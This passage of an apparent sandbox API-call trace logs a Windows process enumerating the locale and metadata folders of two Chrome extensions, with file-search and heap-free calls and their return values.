returned 0x550000 [0268.523] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0268.523] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a8ef50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0268.524] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0268.524] GetProcessHeap () returned 0x550000 [0268.524] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0268.524] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a8ef50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0268.527] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0268.527] GetProcessHeap () returned 0x550000 [0268.527] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0268.527] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a8ef50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0268.527] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0268.528] GetProcessHeap () returned 0x550000 [0268.528] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0268.528] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a8ef50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0268.548] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0268.548] GetProcessHeap () returned 0x550000 [0268.548] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0268.548] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ab50b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ab50b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0268.548] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0268.549] GetProcessHeap () returned 0x550000 [0268.549] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0268.549] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ab50b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ab50b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0268.564] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0268.564] GetProcessHeap () returned 0x550000 [0268.564] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0268.564] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85adb210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85adb210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0268.565] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0268.565] GetProcessHeap () returned 0x550000 [0268.565] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0268.565] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85adb210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85adb210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0268.566] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0268.566] GetProcessHeap () returned 0x550000 [0268.567] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0268.567] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85adb210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85adb210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0268.567] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0268.567] GetProcessHeap () returned 0x550000 [0268.567] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0268.567] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85adb210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85adb210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0268.568] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0268.568] GetProcessHeap () returned 0x550000 [0268.568] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0268.568] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b01370, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b01370, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0268.569] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0268.569] GetProcessHeap () returned 0x550000 [0268.569] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0268.569] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b01370, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b01370, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0268.570] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0268.570] GetProcessHeap () returned 0x550000 [0268.570] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0268.570] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b01370, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b01370, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0268.571] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0268.571] GetProcessHeap () returned 0x550000 [0268.571] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0268.571] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b274d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b274d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0268.572] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0268.572] GetProcessHeap () returned 0x550000 [0268.572] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0268.572] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b274d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b274d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b274d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0268.572] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0268.572] GetProcessHeap () returned 0x550000 [0268.572] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0268.572] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b274d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b274d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b274d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0268.573] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0268.573] GetProcessHeap () returned 0x550000 [0268.573] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0268.573] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b274d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b274d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b274d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0268.574] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0268.574] GetProcessHeap () returned 0x550000 [0268.574] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0268.574] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b4d630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b4d630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b4d630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0268.575] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0268.575] GetProcessHeap () returned 0x550000 [0268.575] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0268.575] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0268.575] GetProcessHeap () returned 0x550000 [0268.575] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3722060 | out: hHeap=0x550000) returned 1 [0268.575] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\*", lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b998f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85d166b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85d166b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0268.576] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0268.576] GetProcessHeap () returned 0x550000 [0268.576] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3722060 | out: hHeap=0x550000) returned 1 [0268.576] FindClose (in: hFindFile=0x6399c8 | out: hFindFile=0x6399c8) returned 1 [0268.576] GetProcessHeap () returned 0x550000 [0268.576] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0268.576] FindClose (in: hFindFile=0x639988 | out: hFindFile=0x639988) returned 1 [0268.576] GetProcessHeap () returned 0x550000 [0268.576] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26320b0 | out: hHeap=0x550000) returned 1 [0268.576] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\*", lpFindFileData=0x2cedbe0 | out: lpFindFileData=0x2cedbe0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80d1a580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x916d8210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x916d8210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639988 [0268.577] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\*", lpFindFileData=0x2ced958 | out: lpFindFileData=0x2ced958*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86833250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6399c8 [0268.581] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\*", lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86702750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86702750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0268.794] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864c72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864c72b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0268.794] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0268.794] GetProcessHeap () returned 0x550000 [0268.794] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0268.794] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864c72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864c72b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0268.797] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0268.797] GetProcessHeap () returned 0x550000 [0268.797] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0268.797] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864c72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864c72b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0268.913] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0268.913] GetProcessHeap () returned 0x550000 [0268.913] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0268.914] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864c72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864c72b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0268.914] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0268.914] GetProcessHeap () returned 0x550000 [0268.914] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0268.914] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864ed410, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864ed410, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0269.074] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0269.075] GetProcessHeap () returned 0x550000 [0269.075] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0269.075] FindFirstFileW (in: 